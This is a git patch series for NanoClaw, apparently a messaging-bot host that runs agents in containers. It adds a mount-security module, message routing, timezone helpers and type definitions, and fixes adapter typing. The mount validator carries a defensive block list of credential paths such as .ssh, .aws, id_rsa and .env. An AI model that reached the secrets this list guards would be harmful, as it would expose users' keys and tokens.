!isMainGroup && group.requiresTrigger !== false; + + // For non-main groups, only act on trigger messages. + // Non-trigger messages accumulate in DB and get pulled as + // context when a trigger eventually arrives. + if (needsTrigger) { + const triggerPattern = getTriggerPattern(group.trigger); + const allowlistCfg = loadSenderAllowlist(); + const hasTrigger = groupMessages.some( + (m) => + triggerPattern.test(m.content.trim()) && + (m.is_from_me || isTriggerAllowed(chatJid, m.sender, allowlistCfg)), + ); + if (!hasTrigger) continue; + } + + // Pull all messages since lastAgentTimestamp so non-trigger + // context that accumulated between triggers is included. + const allPending = getMessagesSince( + chatJid, + getOrRecoverCursor(chatJid), + ASSISTANT_NAME, + MAX_MESSAGES_PER_PROMPT, + ); + const messagesToSend = allPending.length > 0 ? allPending : groupMessages; + const formatted = formatMessages(messagesToSend, TIMEZONE); + + if (queue.sendMessage(chatJid, formatted)) { + logger.debug({ chatJid, count: messagesToSend.length }, 'Piped messages to active container'); + lastAgentTimestamp[chatJid] = messagesToSend[messagesToSend.length - 1].timestamp; + saveState(); + // Show typing indicator while the container processes the piped message + channel + .setTyping?.(chatJid, true) + ?.catch((err) => logger.warn({ chatJid, err }, 'Failed to set typing indicator')); + } else { + // No active container — enqueue for a new one + queue.enqueueMessageCheck(chatJid); + } + } + } + } catch (err) { + logger.error({ err }, 'Error in message loop'); + } + await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL)); + } +} + +/** + * Startup recovery: check for unprocessed messages in registered groups. + * Handles crash between advancing lastTimestamp and processing messages. + */ +function recoverPendingMessages(): void { + for (const [chatJid, group] of Object.entries(registeredGroups)) { + const pending = getMessagesSince(chatJid, getOrRecoverCursor(chatJid), ASSISTANT_NAME, MAX_MESSAGES_PER_PROMPT); + if (pending.length > 0) { + logger.info({ group: group.name, pendingCount: pending.length }, 'Recovery: found unprocessed messages'); + queue.enqueueMessageCheck(chatJid); + } + } +} + +function ensureContainerSystemRunning(): void { + ensureContainerRuntimeRunning(); + cleanupOrphans(); +} + +async function main(): Promise { + ensureContainerSystemRunning(); + initDatabase(); + logger.info('Database initialized'); + loadState(); + + // Ensure OneCLI agents exist for all registered groups. + // Recovers from missed creates (e.g. OneCLI was down at registration time). + for (const [jid, group] of Object.entries(registeredGroups)) { + ensureOneCLIAgent(jid, group); + } + + restoreRemoteControl(); + + // Graceful shutdown handlers + const shutdown = async (signal: string) => { + logger.info({ signal }, 'Shutdown signal received'); + await queue.shutdown(10000); + for (const ch of channels) await ch.disconnect(); + process.exit(0); + }; + process.on('SIGTERM', () => shutdown('SIGTERM')); + process.on('SIGINT', () => shutdown('SIGINT')); + + // Handle /remote-control and /remote-control-end commands + async function handleRemoteControl(command: string, chatJid: string, msg: NewMessage): Promise { + const group = registeredGroups[chatJid]; + if (!group?.isMain) { + logger.warn({ chatJid, sender: msg.sender }, 'Remote control rejected: not main group'); + return; + } + + const channel = findChannel(channels, chatJid); + if (!channel) return; + + if (command === '/remote-control') { + const result = await startRemoteControl(msg.sender, chatJid, process.cwd()); + if (result.ok) { + await channel.sendMessage(chatJid, result.url); + } else { + await channel.sendMessage(chatJid, `Remote Control failed: ${result.error}`); + } + } else { + const result = stopRemoteControl(); + if (result.ok) { + await channel.sendMessage(chatJid, 'Remote Control session ended.'); + } else { + await channel.sendMessage(chatJid, result.error); + } + } + } + + // Channel callbacks (shared by all channels) + const channelOpts = { + onMessage: (chatJid: string, msg: NewMessage) => { + // Remote control commands — intercept before storage + const trimmed = msg.content.trim(); + if (trimmed === '/remote-control' || trimmed === '/remote-control-end') { + handleRemoteControl(trimmed, chatJid, msg).catch((err) => + logger.error({ err, chatJid }, 'Remote control command error'), + ); + return; + } + + // Sender allowlist drop mode: discard messages from denied senders before storing + if (!msg.is_from_me && !msg.is_bot_message && registeredGroups[chatJid]) { + const cfg = loadSenderAllowlist(); + if (shouldDropMessage(chatJid, cfg) && !isSenderAllowed(chatJid, msg.sender, cfg)) { + if (cfg.logDenied) { + logger.debug({ chatJid, sender: msg.sender }, 'sender-allowlist: dropping message (drop mode)'); + } + return; + } + } + storeMessage(msg); + }, + onChatMetadata: (chatJid: string, timestamp: string, name?: string, channel?: string, isGroup?: boolean) => + storeChatMetadata(chatJid, timestamp, name, channel, isGroup), + registeredGroups: () => registeredGroups, + }; + + // Create and connect all registered channels. + // Each channel self-registers via the barrel import above. + // Factories return null when credentials are missing, so unconfigured channels are skipped. + for (const channelName of getRegisteredChannelNames()) { + const factory = getChannelFactory(channelName)!; + const channel = factory(channelOpts); + if (!channel) { + logger.warn( + { channel: channelName }, + 'Channel installed but credentials missing — skipping. Check .env or re-run the channel skill.', + ); + continue; + } + channels.push(channel); + await channel.connect(); + } + if (channels.length === 0) { + logger.fatal('No channels connected'); + process.exit(1); + } + + // Start subsystems (independently of connection handler) + startSchedulerLoop({ + registeredGroups: () => registeredGroups, + getSessions: () => sessions, + queue, + onProcess: (groupJid, proc, containerName, groupFolder) => + queue.registerProcess(groupJid, proc, containerName, groupFolder), + sendMessage: async (jid, rawText) => { + const channel = findChannel(channels, jid); + if (!channel) { + logger.warn({ jid }, 'No channel owns JID, cannot send message'); + return; + } + const text = formatOutbound(rawText); + if (text) await channel.sendMessage(jid, text); + }, + }); + startIpcWatcher({ + sendMessage: (jid, text) => { + const channel = findChannel(channels, jid); + if (!channel) throw new Error(`No channel for JID: ${jid}`); + return channel.sendMessage(jid, text); + }, + registeredGroups: () => registeredGroups, + registerGroup, + syncGroups: async (force: boolean) => { + await Promise.all(channels.filter((ch) => ch.syncGroups).map((ch) => ch.syncGroups!(force))); + }, + getAvailableGroups, + writeGroupsSnapshot: (gf, im, ag, rj) => writeGroupsSnapshot(gf, im, ag, rj), + onTasksChanged: () => { + const tasks = getAllTasks(); + const taskRows = tasks.map((t) => ({ + id: t.id, + groupFolder: t.group_folder, + prompt: t.prompt, + script: t.script || undefined, + schedule_type: t.schedule_type, + schedule_value: t.schedule_value, + status: t.status, + next_run: t.next_run, + })); + for (const group of Object.values(registeredGroups)) { + writeTasksSnapshot(group.folder, group.isMain === true, taskRows); + } + }, + }); + startSessionCleanup(); + queue.setProcessMessagesFn(processGroupMessages); + recoverPendingMessages(); + startMessageLoop().catch((err) => { + logger.fatal({ err }, 'Message loop crashed unexpectedly'); + process.exit(1); + }); +} + +// Guard: only run when executed directly, not when imported by tests +const isDirectRun = + process.argv[1] && new URL(import.meta.url).pathname === new URL(`file://${process.argv[1]}`).pathname; + +if (isDirectRun) { + main().catch((err) => { + logger.error({ err }, 'Failed to start NanoClaw'); + process.exit(1); + }); +} diff --git a/src/ipc-auth.test.ts b/src/v1/ipc-auth.test.ts similarity index 100% rename from src/ipc-auth.test.ts rename to src/v1/ipc-auth.test.ts diff --git a/src/ipc.ts b/src/v1/ipc.ts similarity index 100% rename from src/ipc.ts rename to src/v1/ipc.ts diff --git a/src/logger.ts b/src/v1/logger.ts similarity index 100% rename from src/logger.ts rename to src/v1/logger.ts diff --git a/src/v1/mount-security.ts b/src/v1/mount-security.ts new file mode 100644 index 0000000..c44620c --- /dev/null +++ b/src/v1/mount-security.ts @@ -0,0 +1,405 @@ +/** + * Mount Security Module for NanoClaw + * + * Validates additional mounts against an allowlist stored OUTSIDE the project root. + * This prevents container agents from modifying security configuration. + * + * Allowlist location: ~/.config/nanoclaw/mount-allowlist.json + */ +import fs from 'fs'; +import os from 'os'; +import path from 'path'; +import { MOUNT_ALLOWLIST_PATH } from './config.js'; +import { logger } from './logger.js'; +import { AdditionalMount, AllowedRoot, MountAllowlist } from './types.js'; + +// Cache the allowlist in memory - only reloads on process restart +let cachedAllowlist: MountAllowlist | null = null; +let allowlistLoadError: string | null = null; + +/** + * Default blocked patterns - paths that should never be mounted + */ +const DEFAULT_BLOCKED_PATTERNS = [ + '.ssh', + '.gnupg', + '.gpg', + '.aws', + '.azure', + '.gcloud', + '.kube', + '.docker', + 'credentials', + '.env', + '.netrc', + '.npmrc', + '.pypirc', + 'id_rsa', + 'id_ed25519', + 'private_key', + '.secret', +]; + +/** + * Load the mount allowlist from the external config location. + * Returns null if the file doesn't exist or is invalid. + * Result is cached in memory for the lifetime of the process. + */ +export function loadMountAllowlist(): MountAllowlist | null { + if (cachedAllowlist !== null) { + return cachedAllowlist; + } + + if (allowlistLoadError !== null) { + // Already tried and failed, don't spam logs + return null; + } + + try { + if (!fs.existsSync(MOUNT_ALLOWLIST_PATH)) { + // Do NOT cache this as an error — file may be created later without restart. + // Only parse/structural errors are permanently cached. + logger.warn( + { path: MOUNT_ALLOWLIST_PATH }, + 'Mount allowlist not found - additional mounts will be BLOCKED. ' + + 'Create the file to enable additional mounts.', + ); + return null; + } + + const content = fs.readFileSync(MOUNT_ALLOWLIST_PATH, 'utf-8'); + const allowlist = JSON.parse(content) as MountAllowlist; + + // Validate structure + if (!Array.isArray(allowlist.allowedRoots)) { + throw new Error('allowedRoots must be an array'); + } + + if (!Array.isArray(allowlist.blockedPatterns)) { + throw new Error('blockedPatterns must be an array'); + } + + if (typeof allowlist.nonMainReadOnly !== 'boolean') { + throw new Error('nonMainReadOnly must be a boolean'); + } + + // Merge with default blocked patterns + const mergedBlockedPatterns = [...new Set([...DEFAULT_BLOCKED_PATTERNS, ...allowlist.blockedPatterns])]; + allowlist.blockedPatterns = mergedBlockedPatterns; + + cachedAllowlist = allowlist; + logger.info( + { + path: MOUNT_ALLOWLIST_PATH, + allowedRoots: allowlist.allowedRoots.length, + blockedPatterns: allowlist.blockedPatterns.length, + }, + 'Mount allowlist loaded successfully', + ); + + return cachedAllowlist; + } catch (err) { + allowlistLoadError = err instanceof Error ? err.message : String(err); + logger.error( + { + path: MOUNT_ALLOWLIST_PATH, + error: allowlistLoadError, + }, + 'Failed to load mount allowlist - additional mounts will be BLOCKED', + ); + return null; + } +} + +/** + * Expand ~ to home directory and resolve to absolute path + */ +function expandPath(p: string): string { + const homeDir = process.env.HOME || os.homedir(); + if (p.startsWith('~/')) { + return path.join(homeDir, p.slice(2)); + } + if (p === '~') { + return homeDir; + } + return path.resolve(p); +} + +/** + * Get the real path, resolving symlinks. + * Returns null if the path doesn't exist. + */ +function getRealPath(p: string): string | null { + try { + return fs.realpathSync(p); + } catch { + return null; + } +} + +/** + * Check if a path matches any blocked pattern + */ +function matchesBlockedPattern(realPath: string, blockedPatterns: string[]): string | null { + const pathParts = realPath.split(path.sep); + + for (const pattern of blockedPatterns) { + // Check if any path component matches the pattern + for (const part of pathParts) { + if (part === pattern || part.includes(pattern)) { + return pattern; + } + } + + // Also check if the full path contains the pattern + if (realPath.includes(pattern)) { + return pattern; + } + } + + return null; +} + +/** + * Check if a real path is under an allowed root + */ +function findAllowedRoot(realPath: string, allowedRoots: AllowedRoot[]): AllowedRoot | null { + for (const root of allowedRoots) { + const expandedRoot = expandPath(root.path); + const realRoot = getRealPath(expandedRoot); + + if (realRoot === null) { + // Allowed root doesn't exist, skip it + continue; + } + + // Check if realPath is under realRoot + const relative = path.relative(realRoot, realPath); + if (!relative.startsWith('..') && !path.isAbsolute(relative)) { + return root; + } + } + + return null; +} + +/** + * Validate the container path to prevent escaping /workspace/extra/ + */ +function isValidContainerPath(containerPath: string): boolean { + // Must not contain .. to prevent path traversal + if (containerPath.includes('..')) { + return false; + } + + // Must not be absolute (it will be prefixed with /workspace/extra/) + if (containerPath.startsWith('/')) { + return false; + } + + // Must not be empty + if (!containerPath || containerPath.trim() === '') { + return false; + } + + // Must not contain colons — prevents Docker -v option injection (e.g., "repo:rw") + if (containerPath.includes(':')) { + return false; + } + + return true; +} + +export interface MountValidationResult { + allowed: boolean; + reason: string; + realHostPath?: string; + resolvedContainerPath?: string; + effectiveReadonly?: boolean; +} + +/** + * Validate a single additional mount against the allowlist. + * Returns validation result with reason. + */ +export function validateMount(mount: AdditionalMount, isMain: boolean): MountValidationResult { + const allowlist = loadMountAllowlist(); + + // If no allowlist, block all additional mounts + if (allowlist === null) { + return { + allowed: false, + reason: `No mount allowlist configured at ${MOUNT_ALLOWLIST_PATH}`, + }; + } + + // Derive containerPath from hostPath basename if not specified + const containerPath = mount.containerPath || path.basename(mount.hostPath); + + // Validate container path (cheap check) + if (!isValidContainerPath(containerPath)) { + return { + allowed: false, + reason: `Invalid container path: "${containerPath}" - must be relative, non-empty, and not contain ".."`, + }; + } + + // Expand and resolve the host path + const expandedPath = expandPath(mount.hostPath); + const realPath = getRealPath(expandedPath); + + if (realPath === null) { + return { + allowed: false, + reason: `Host path does not exist: "${mount.hostPath}" (expanded: "${expandedPath}")`, + }; + } + + // Check against blocked patterns + const blockedMatch = matchesBlockedPattern(realPath, allowlist.blockedPatterns); + if (blockedMatch !== null) { + return { + allowed: false, + reason: `Path matches blocked pattern "${blockedMatch}": "${realPath}"`, + }; + } + + // Check if under an allowed root + const allowedRoot = findAllowedRoot(realPath, allowlist.allowedRoots); + if (allowedRoot === null) { + return { + allowed: false, + reason: `Path "${realPath}" is not under any allowed root. Allowed roots: ${allowlist.allowedRoots + .map((r) => expandPath(r.path)) + .join(', ')}`, + }; + } + + // Determine effective readonly status + const requestedReadWrite = mount.readonly === false; + let effectiveReadonly = true; // Default to readonly + + if (requestedReadWrite) { + if (!isMain && allowlist.nonMainReadOnly) { + // Non-main groups forced to read-only + effectiveReadonly = true; + logger.info( + { + mount: mount.hostPath, + }, + 'Mount forced to read-only for non-main group', + ); + } else if (!allowedRoot.allowReadWrite) { + // Root doesn't allow read-write + effectiveReadonly = true; + logger.info( + { + mount: mount.hostPath, + root: allowedRoot.path, + }, + 'Mount forced to read-only - root does not allow read-write', + ); + } else { + // Read-write allowed + effectiveReadonly = false; + } + } + + return { + allowed: true, + reason: `Allowed under root "${allowedRoot.path}"${allowedRoot.description ? ` (${allowedRoot.description})` : ''}`, + realHostPath: realPath, + resolvedContainerPath: containerPath, + effectiveReadonly, + }; +} + +/** + * Validate all additional mounts for a group. + * Returns array of validated mounts (only those that passed validation). + * Logs warnings for rejected mounts. + */ +export function validateAdditionalMounts( + mounts: AdditionalMount[], + groupName: string, + isMain: boolean, +): Array<{ + hostPath: string; + containerPath: string; + readonly: boolean; +}> { + const validatedMounts: Array<{ + hostPath: string; + containerPath: string; + readonly: boolean; + }> = []; + + for (const mount of mounts) { + const result = validateMount(mount, isMain); + + if (result.allowed) { + validatedMounts.push({ + hostPath: result.realHostPath!, + containerPath: `/workspace/extra/${result.resolvedContainerPath}`, + readonly: result.effectiveReadonly!, + }); + + logger.debug( + { + group: groupName, + hostPath: result.realHostPath, + containerPath: result.resolvedContainerPath, + readonly: result.effectiveReadonly, + reason: result.reason, + }, + 'Mount validated successfully', + ); + } else { + logger.warn( + { + group: groupName, + requestedPath: mount.hostPath, + containerPath: mount.containerPath, + reason: result.reason, + }, + 'Additional mount REJECTED', + ); + } + } + + return validatedMounts; +} + +/** + * Generate a template allowlist file for users to customize + */ +export function generateAllowlistTemplate(): string { + const template: MountAllowlist = { + allowedRoots: [ + { + path: '~/projects', + allowReadWrite: true, + description: 'Development projects', + }, + { + path: '~/repos', + allowReadWrite: true, + description: 'Git repositories', + }, + { + path: '~/Documents/work', + allowReadWrite: false, + description: 'Work documents (read-only)', + }, + ], + blockedPatterns: [ + // Additional patterns beyond defaults + 'password', + 'secret', + 'token', + ], + nonMainReadOnly: true, + }; + + return JSON.stringify(template, null, 2); +} diff --git a/src/remote-control.test.ts b/src/v1/remote-control.test.ts similarity index 100% rename from src/remote-control.test.ts rename to src/v1/remote-control.test.ts diff --git a/src/remote-control.ts b/src/v1/remote-control.ts similarity index 100% rename from src/remote-control.ts rename to src/v1/remote-control.ts diff --git a/src/v1/router.ts b/src/v1/router.ts new file mode 100644 index 0000000..4c7dd38 --- /dev/null +++ b/src/v1/router.ts @@ -0,0 +1,43 @@ +import { Channel, NewMessage } from './types.js'; +import { formatLocalTime } from './timezone.js'; + +export function escapeXml(s: string): string { + if (!s) return ''; + return s.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); +} + +export function formatMessages(messages: NewMessage[], timezone: string): string { + const lines = messages.map((m) => { + const displayTime = formatLocalTime(m.timestamp, timezone); + const replyAttr = m.reply_to_message_id ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` : ''; + const replySnippet = + m.reply_to_message_content && m.reply_to_sender_name + ? `\n ${escapeXml(m.reply_to_message_content)}` + : ''; + return `${replySnippet}${escapeXml(m.content)}`; + }); + + const header = `\n`; + + return `${header}\n${lines.join('\n')}\n`; +} + +export function stripInternalTags(text: string): string { + return text.replace(/[\s\S]*?<\/internal>/g, '').trim(); +} + +export function formatOutbound(rawText: string): string { + const text = stripInternalTags(rawText); + if (!text) return ''; + return text; +} + +export function routeOutbound(channels: Channel[], jid: string, text: string): Promise { + const channel = channels.find((c) => c.ownsJid(jid) && c.isConnected()); + if (!channel) throw new Error(`No channel for JID: ${jid}`); + return channel.sendMessage(jid, text); +} + +export function findChannel(channels: Channel[], jid: string): Channel | undefined { + return channels.find((c) => c.ownsJid(jid)); +} diff --git a/src/routing.test.ts b/src/v1/routing.test.ts similarity index 100% rename from src/routing.test.ts rename to src/v1/routing.test.ts diff --git a/src/sender-allowlist.test.ts b/src/v1/sender-allowlist.test.ts similarity index 100% rename from src/sender-allowlist.test.ts rename to src/v1/sender-allowlist.test.ts diff --git a/src/sender-allowlist.ts b/src/v1/sender-allowlist.ts similarity index 100% rename from src/sender-allowlist.ts rename to src/v1/sender-allowlist.ts diff --git a/src/session-cleanup.ts b/src/v1/session-cleanup.ts similarity index 100% rename from src/session-cleanup.ts rename to src/v1/session-cleanup.ts diff --git a/src/task-scheduler.test.ts b/src/v1/task-scheduler.test.ts similarity index 100% rename from src/task-scheduler.test.ts rename to src/v1/task-scheduler.test.ts diff --git a/src/task-scheduler.ts b/src/v1/task-scheduler.ts similarity index 100% rename from src/task-scheduler.ts rename to src/v1/task-scheduler.ts diff --git a/src/v1/timezone.test.ts b/src/v1/timezone.test.ts new file mode 100644 index 0000000..d9e9454 --- /dev/null +++ b/src/v1/timezone.test.ts @@ -0,0 +1,64 @@ +import { describe, it, expect } from 'vitest'; + +import { formatLocalTime, isValidTimezone, resolveTimezone } from './timezone.js'; + +// --- formatLocalTime --- + +describe('formatLocalTime', () => { + it('converts UTC to local time display', () => { + // 2026-02-04T18:30:00Z in America/New_York (EST, UTC-5) = 1:30 PM + const result = formatLocalTime('2026-02-04T18:30:00.000Z', 'America/New_York'); + expect(result).toContain('1:30'); + expect(result).toContain('PM'); + expect(result).toContain('Feb'); + expect(result).toContain('2026'); + }); + + it('handles different timezones', () => { + // Same UTC time should produce different local times + const utc = '2026-06-15T12:00:00.000Z'; + const ny = formatLocalTime(utc, 'America/New_York'); + const tokyo = formatLocalTime(utc, 'Asia/Tokyo'); + // NY is UTC-4 in summer (EDT), Tokyo is UTC+9 + expect(ny).toContain('8:00'); + expect(tokyo).toContain('9:00'); + }); + + it('does not throw on invalid timezone, falls back to UTC', () => { + expect(() => formatLocalTime('2026-01-01T00:00:00.000Z', 'IST-2')).not.toThrow(); + const result = formatLocalTime('2026-01-01T12:00:00.000Z', 'IST-2'); + // Should format as UTC (noon UTC = 12:00 PM) + expect(result).toContain('12:00'); + expect(result).toContain('PM'); + }); +}); + +describe('isValidTimezone', () => { + it('accepts valid IANA identifiers', () => { + expect(isValidTimezone('America/New_York')).toBe(true); + expect(isValidTimezone('UTC')).toBe(true); + expect(isValidTimezone('Asia/Tokyo')).toBe(true); + expect(isValidTimezone('Asia/Jerusalem')).toBe(true); + }); + + it('rejects invalid timezone strings', () => { + expect(isValidTimezone('IST-2')).toBe(false); + expect(isValidTimezone('XYZ+3')).toBe(false); + }); + + it('rejects empty and garbage strings', () => { + expect(isValidTimezone('')).toBe(false); + expect(isValidTimezone('NotATimezone')).toBe(false); + }); +}); + +describe('resolveTimezone', () => { + it('returns the timezone if valid', () => { + expect(resolveTimezone('America/New_York')).toBe('America/New_York'); + }); + + it('falls back to UTC for invalid timezone', () => { + expect(resolveTimezone('IST-2')).toBe('UTC'); + expect(resolveTimezone('')).toBe('UTC'); + }); +}); diff --git a/src/v1/timezone.ts b/src/v1/timezone.ts new file mode 100644 index 0000000..d8cc6cc --- /dev/null +++ b/src/v1/timezone.ts @@ -0,0 +1,37 @@ +/** + * Check whether a timezone string is a valid IANA identifier + * that Intl.DateTimeFormat can use. + */ +export function isValidTimezone(tz: string): boolean { + try { + Intl.DateTimeFormat(undefined, { timeZone: tz }); + return true; + } catch { + return false; + } +} + +/** + * Return the given timezone if valid IANA, otherwise fall back to UTC. + */ +export function resolveTimezone(tz: string): string { + return isValidTimezone(tz) ? tz : 'UTC'; +} + +/** + * Convert a UTC ISO timestamp to a localized display string. + * Uses the Intl API (no external dependencies). + * Falls back to UTC if the timezone is invalid. + */ +export function formatLocalTime(utcIso: string, timezone: string): string { + const date = new Date(utcIso); + return date.toLocaleString('en-US', { + timeZone: resolveTimezone(timezone), + year: 'numeric', + month: 'short', + day: 'numeric', + hour: 'numeric', + minute: '2-digit', + hour12: true, + }); +} diff --git a/src/v1/types.ts b/src/v1/types.ts new file mode 100644 index 0000000..717aff6 --- /dev/null +++ b/src/v1/types.ts @@ -0,0 +1,112 @@ +export interface AdditionalMount { + hostPath: string; // Absolute path on host (supports ~ for home) + containerPath?: string; // Optional — defaults to basename of hostPath. Mounted at /workspace/extra/{value} + readonly?: boolean; // Default: true for safety +} + +/** + * Mount Allowlist - Security configuration for additional mounts + * This file should be stored at ~/.config/nanoclaw/mount-allowlist.json + * and is NOT mounted into any container, making it tamper-proof from agents. + */ +export interface MountAllowlist { + // Directories that can be mounted into containers + allowedRoots: AllowedRoot[]; + // Glob patterns for paths that should never be mounted (e.g., ".ssh", ".gnupg") + blockedPatterns: string[]; + // If true, non-main groups can only mount read-only regardless of config + nonMainReadOnly: boolean; +} + +export interface AllowedRoot { + // Absolute path or ~ for home (e.g., "~/projects", "/var/repos") + path: string; + // Whether read-write mounts are allowed under this root + allowReadWrite: boolean; + // Optional description for documentation + description?: string; +} + +export interface ContainerConfig { + additionalMounts?: AdditionalMount[]; + timeout?: number; // Default: 300000 (5 minutes) +} + +export interface RegisteredGroup { + name: string; + folder: string; + trigger: string; + added_at: string; + containerConfig?: ContainerConfig; + requiresTrigger?: boolean; // Default: true for groups, false for solo chats + isMain?: boolean; // True for the main control group (no trigger, elevated privileges) +} + +export interface NewMessage { + id: string; + chat_jid: string; + sender: string; + sender_name: string; + content: string; + timestamp: string; + is_from_me?: boolean; + is_bot_message?: boolean; + thread_id?: string; + reply_to_message_id?: string; + reply_to_message_content?: string; + reply_to_sender_name?: string; +} + +export interface ScheduledTask { + id: string; + group_folder: string; + chat_jid: string; + prompt: string; + script?: string | null; + schedule_type: 'cron' | 'interval' | 'once'; + schedule_value: string; + context_mode: 'group' | 'isolated'; + next_run: string | null; + last_run: string | null; + last_result: string | null; + status: 'active' | 'paused' | 'completed'; + created_at: string; +} + +export interface TaskRunLog { + task_id: string; + run_at: string; + duration_ms: number; + status: 'success' | 'error'; + result: string | null; + error: string | null; +} + +// --- Channel abstraction --- + +export interface Channel { + name: string; + connect(): Promise; + sendMessage(jid: string, text: string): Promise; + isConnected(): boolean; + ownsJid(jid: string): boolean; + disconnect(): Promise; + // Optional: typing indicator. Channels that support it implement it. + setTyping?(jid: string, isTyping: boolean): Promise; + // Optional: sync group/chat names from the platform. + syncGroups?(force: boolean): Promise; +} + +// Callback type that channels use to deliver inbound messages +export type OnInboundMessage = (chatJid: string, message: NewMessage) => void; + +// Callback for chat metadata discovery. +// name is optional — channels that deliver names inline (Telegram) pass it here; +// channels that sync names separately (via syncGroups) omit it. +export type OnChatMetadata = ( + chatJid: string, + timestamp: string, + name?: string, + channel?: string, + isGroup?: boolean, +) => void; From 2b64fec0e6de457b679188029ac53c0055bc83df Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:42:49 +0300 Subject: [PATCH 023/295] fix: clean up iMessage adapter type compatibility Replace `as never` cast with proper polyfill for channelIdFromThreadId. Narrow GatewayAdapter cast to only the gateway code path in bridge. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/chat-sdk-bridge.ts | 9 +++++---- src/channels/imessage.ts | 8 ++++++-- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 5ab9d88..e87e098 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -31,7 +31,7 @@ interface GatewayAdapter extends Adapter { } export interface ChatSdkBridgeConfig { - adapter: GatewayAdapter; + adapter: Adapter; concurrency?: ConcurrencyStrategy; /** Bot token for authenticating forwarded Gateway events (required for interaction handling). */ botToken?: string; @@ -114,17 +114,18 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await chat.initialize(); // Start Gateway listener for adapters that support it (e.g., Discord) - if (adapter.startGatewayListener) { + const gatewayAdapter = adapter as GatewayAdapter; + if (gatewayAdapter.startGatewayListener) { gatewayAbort = new AbortController(); // Start local HTTP server to receive forwarded Gateway events (including interactions) - const webhookUrl = await startLocalWebhookServer(adapter, setupConfig, config.botToken); + const webhookUrl = await startLocalWebhookServer(gatewayAdapter, setupConfig, config.botToken); const startGateway = () => { if (gatewayAbort?.signal.aborted) return; // Capture the long-running listener promise via waitUntil let listenerPromise: Promise | undefined; - adapter.startGatewayListener!( + gatewayAdapter.startGatewayListener!( { waitUntil: (p: Promise) => { listenerPromise = p; diff --git a/src/channels/imessage.ts b/src/channels/imessage.ts index 8ab4215..4bda288 100644 --- a/src/channels/imessage.ts +++ b/src/channels/imessage.ts @@ -15,11 +15,15 @@ registerChannelAdapter('imessage', { const isLocal = env.IMESSAGE_LOCAL !== 'false'; if (isLocal && !env.IMESSAGE_ENABLED) return null; if (!isLocal && !env.IMESSAGE_SERVER_URL) return null; - const imessageAdapter = createiMessageAdapter({ + const rawAdapter = createiMessageAdapter({ local: isLocal, serverUrl: env.IMESSAGE_SERVER_URL, apiKey: env.IMESSAGE_API_KEY, }); - return createChatSdkBridge({ adapter: imessageAdapter as never, concurrency: 'concurrent' }); + // Polyfill channelIdFromThreadId (community adapter doesn't implement it) + const imessageAdapter = Object.assign(rawAdapter, { + channelIdFromThreadId: (threadId: string) => threadId, + }); + return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); }, }); From 320176e7e8e35f6d5b539e1c1755a63b07b4a4ce Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 11:44:06 +0300 Subject: [PATCH 024/295] fix: remaining -v2 references in scripts, add v1 channels barrel Co-Authored-By: Claude Opus 4.6 (1M context) --- scripts/seed-discord.ts | 2 +- scripts/test-v2-channel-e2e.ts | 2 +- scripts/test-v2-host.ts | 2 +- src/v1/channels/index.ts | 1 + 4 files changed, 4 insertions(+), 3 deletions(-) create mode 100644 src/v1/channels/index.ts diff --git a/scripts/seed-discord.ts b/scripts/seed-discord.ts index 410570b..c5c3bfa 100644 --- a/scripts/seed-discord.ts +++ b/scripts/seed-discord.ts @@ -75,4 +75,4 @@ try { } } -console.log('Done! Run: npm run build && node dist/index-v2.js'); +console.log('Done! Run: npm run build && node dist/index.js'); diff --git a/scripts/test-v2-channel-e2e.ts b/scripts/test-v2-channel-e2e.ts index 15f84e3..9e698de 100644 --- a/scripts/test-v2-channel-e2e.ts +++ b/scripts/test-v2-channel-e2e.ts @@ -67,7 +67,7 @@ console.log('✓ Central DB initialized'); // --- Step 2: Set up mock channel adapter + delivery --- console.log('\n=== Step 2: Set up mock channel adapter & delivery ==='); -import { routeInbound } from '../src/router-v2.js'; +import { routeInbound } from '../src/router.js'; import { setDeliveryAdapter, startActiveDeliveryPoll, stopDeliveryPolls } from '../src/delivery.js'; import { getChannelAdapter, registerChannelAdapter, initChannelAdapters } from '../src/channels/channel-registry.js'; import { findSession } from '../src/db/sessions.js'; diff --git a/scripts/test-v2-host.ts b/scripts/test-v2-host.ts index ee1ed7a..d047d5f 100644 --- a/scripts/test-v2-host.ts +++ b/scripts/test-v2-host.ts @@ -69,7 +69,7 @@ console.log('✓ Central DB initialized'); // --- Step 2: Route inbound message (spawns container) --- console.log('\n=== Step 2: Route inbound message ==='); -import { routeInbound } from '../src/router-v2.js'; +import { routeInbound } from '../src/router.js'; import { findSession } from '../src/db/sessions.js'; import { sessionDbPath } from '../src/session-manager.js'; diff --git a/src/v1/channels/index.ts b/src/v1/channels/index.ts new file mode 100644 index 0000000..09d8e35 --- /dev/null +++ b/src/v1/channels/index.ts @@ -0,0 +1 @@ +// v1 channel barrel — no-op (channels registered via separate skill branches) From 82cb363f84e5bac4ba6562d0ca8a11e5bd4ecb2c Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 12:17:31 +0300 Subject: [PATCH 025/295] v2: split session DB into inbound/outbound for write isolation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Eliminates SQLite write contention across the host-container mount boundary by splitting the single session.db into two files, each with exactly one writer: inbound.db — host writes (messages_in, delivered tracking) outbound.db — container writes (messages_out, processing_ack) Key changes: - Host uses even seq numbers, container uses odd (collision-free) - Container heartbeat via file touch instead of DB UPDATE - Scheduling MCP tools now emit system actions via messages_out (host applies them to inbound.db during delivery) - Host sweep reads processing_ack + heartbeat file for stale detection - OneCLI ensureAgent() call added (was missing from v2, caused applyContainerConfig to reject unknown agent identifiers) Verified: tsc clean, 327 tests pass, real e2e through Docker works. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 117 +++++++-- container/agent-runner/src/db/index.ts | 12 +- container/agent-runner/src/db/messages-in.ts | 88 +++++-- 